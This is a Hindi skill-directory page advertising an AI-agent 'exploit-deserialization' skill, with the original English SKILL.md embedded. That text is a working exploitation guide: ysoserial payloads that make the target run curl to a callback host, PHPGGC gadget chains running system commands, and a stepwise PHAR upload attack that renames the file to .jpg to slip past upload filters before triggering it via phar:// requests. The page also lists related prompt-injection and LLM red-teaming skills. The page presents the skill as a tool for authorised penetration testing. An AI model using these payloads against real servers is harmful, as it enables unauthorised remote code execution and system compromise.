exploit-deserialization
यह क्या करती है
यह स्किल एजेंट को जाँचने का मार्गदर्शन देती है कि कोई ऐप आने वाले डेटा को असुरक्षित रूप से वापस ऑब्जेक्ट में बदलता है या नहीं। यह अधिकृत लक्ष्यों या अभ्यास चुनौतियों पर काम करने वाले सुरक्षा परीक्षकों के लिए है।
कब इस्तेमाल करें
- ✓जब कोई ऐप कुकी, फ़ॉर्म फ़ील्ड या API अनुरोधों में serialized डेटा भेजता है और आप उसे जाँचना चाहते हैं।
- ✓जब कोई स्कैन Java, PHP, .NET या Python pickle डेटा संभालने की ओर इशारा करे।
- ✓जब सुरक्षा समीक्षा पूछती है कि अविश्वसनीय ऑब्जेक्ट डेटा कोड चला सकता है या नहीं।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“क्या आप जाँच सकते हैं कि मेरे Java ऐप की सेशन कुकी असुरक्षित रूप से deserialize होती है या नहीं?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट डेटा प्रारूप और इस्तेमाल हो रही लाइब्रेरी पहचानता है, फिर ज्ञात पैटर्न टेस्ट करता है जो सर्वर से अनपेक्षित कोड चलवा सकते हैं।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
Insecure Deserialization
Exploits applications that deserialize untrusted data, achieving Remote Code Execution (RCE) by crafting malicious serialized objects that trigger gadget chains.
Auth-Cookie Checkpoint (Before Declaring a Blind Sink Unreachable)
Blind deserialization sinks frequently appear "unreachable" only because the request lacks a session cookie that gates the deserialize path (auth_tier, role flag, CSRF-bound session). Before concluding the sink is wrong:
- Re-check session cookies. Enumerate every cookie the app sets across anon, low-priv, and high-priv sessions. Read
recon_notes.mdfor the "Sink preconditions" table and "Required session state" line. - If recon did not enumerate cookie-gating (no preconditions table, no session-state line in handoff): bisect cookies yourself. Replay the payload with the FULL authenticated jar, then drop one cookie at a time until the sink behavior changes. The cookie whose removal silences the sink is the gating cookie.
- Replay with the gating cookie attached before concluding the chain or gadget is wrong.
- Only then consider sink-side causes (wrong gadget, wrong serialization format, length filter, allowlist).
Skipping this checkpoint is the most common false-negative pattern: the gadget chain was correct all along, but the request was unauthenticated and silently 302'd to login.
Identifying Deserialization Points
- Java: Base64-encoded blobs starting with
rO0AB(raw) oraced0005(hex),Content-Type: application/x-java-serialized-object - PHP: Strings matching
O:[0-9]+:"ora:[0-9]+:{, cookies/parameters with serialized data - .NET:
VIEWSTATEparameter,Content-Type: application/soap+xml,__VIEWSTATEfield - Python: Base64-encoded pickle data,
application/x-python-pickle
Java — ysoserial
# Generate payload (common chains: CommonsCollections1-7, Spring1, Groovy1, Hibernate1)
java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' > payload_cc1.bin
java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' | base64 -w0 > payload_cc1_b64.txt
# CC5 → Collections 3.2.1 | CC6 → Collections 3.2.2+ | CC2,4 → Collections 4.0
# Inject via curl
curl -s 'https://<TARGET>/api/endpoint' -H 'Content-Type: application/x-java-serialized-object' --data-binary @payload_cc1.bin -o deser_response.txt
PHP — PHPGGC
# Generate payload (chains: Laravel/RCE1-10, Symfony/RCE1-7, Guzzle/RCE1, Monolog/RCE1-7)
phpggc Laravel/RCE1 system 'id' -b > php_payload.txt
phpggc Laravel/RCE1 system 'id' -b | base64 -w0 > php_payload_b64.txt
PHP PHAR deserialization via file upload — the wrapper-triggered chain
When a target accepts file uploads AND any code path later passes a user-controlled filename through a PHP file function that ACCEPTS STREAM WRAPPERS (file_exists, file_get_contents, fopen, getimagesize, is_file, filesize, stat, md5_file, sha1_file, unlink, imagecreatefromjpeg/png/gif, etc.), uploading a PHAR file and referencing it via the phar:// wrapper triggers automatic deserialization of the PHAR's metadata — no unserialize() call required on the server side.
Pre-conditions: upload accepted (any extension — .jpg, .gif, .pdf, .phar, .txt all work because PHAR detection is content-based via signature, not extension); and at least one server-side path that resolves a user-influenced filename through a stream-wrapper-aware function.
# 1. Build PHAR with malicious metadata using phpggc (-p phar / --phar)
phpggc -p phar -o exploit.phar Monolog/RCE6 system 'id > /tmp/pwn'
# 2. Rename to a permitted upload extension so the upload filter accepts it
mv exploit.phar exploit.jpg
# 3. Upload via the app's upload endpoint
curl -s -X POST 'https://<TARGET>/upload' \
-F 'file=@exploit.jpg' -b "$COOKIE_JAR" -o upload_resp.txt
head -20 upload_resp.txt # extract the resulting filename/path
# 4. Trigger via any phar:// referencing endpoint
# Common surfaces: image processing, file-existence check, profile-image setter,
# avatar URL, attachment preview, report-export filename, log-viewer path.
curl -s "https://<TARGET>/preview?file=phar:///var/www/uploads/exploit.jpg" -o trigger.txt
curl -s "https://<TARGET>/avatar?path=phar:///var/www/uploads/exploit.jpg/test.txt" -o trigger2.txt
# 5. Verify execution via the chain's side-effect (file write, HTTP callback, DNS)
curl -s "https://<TARGET>/uploads/exploit.jpg.log" 2>/de
अक्सर पूछे जाने वाले सवाल
यह किन भाषाओं को कवर करती है?
यह Java, PHP, .NET और Python pickle डेटा को कवर करती है।
लॉगिन कुकी पहले क्यों जाँचें?
स्किल चेतावनी देती है कि कोई डेटा सिंक केवल इसलिए पहुँच से बाहर दिख सकता है क्योंकि अनुरोध में वह सेशन कुकी नहीं है जो उसे खोलती है।
क्या यह केवल टेस्टिंग के लिए स्किल है?
यह एक सुरक्षा टेस्टिंग स्किल है और इसे केवल उन सिस्टम पर इस्तेमाल करना चाहिए जिनके टेस्ट की अनुमति आपके पास हो।
जानकारी
लेखक का मूल विवरण
Insecure deserialization — RCE via malicious serialized objects in Java (ysoserial), PHP (PHPGGC), .NET (ysoserial.net), and Python (pickle). Covers gadget chain selection, payload generation, and injection into cookies, POST bodies, ViewState, and API endpoints.
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #14059
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।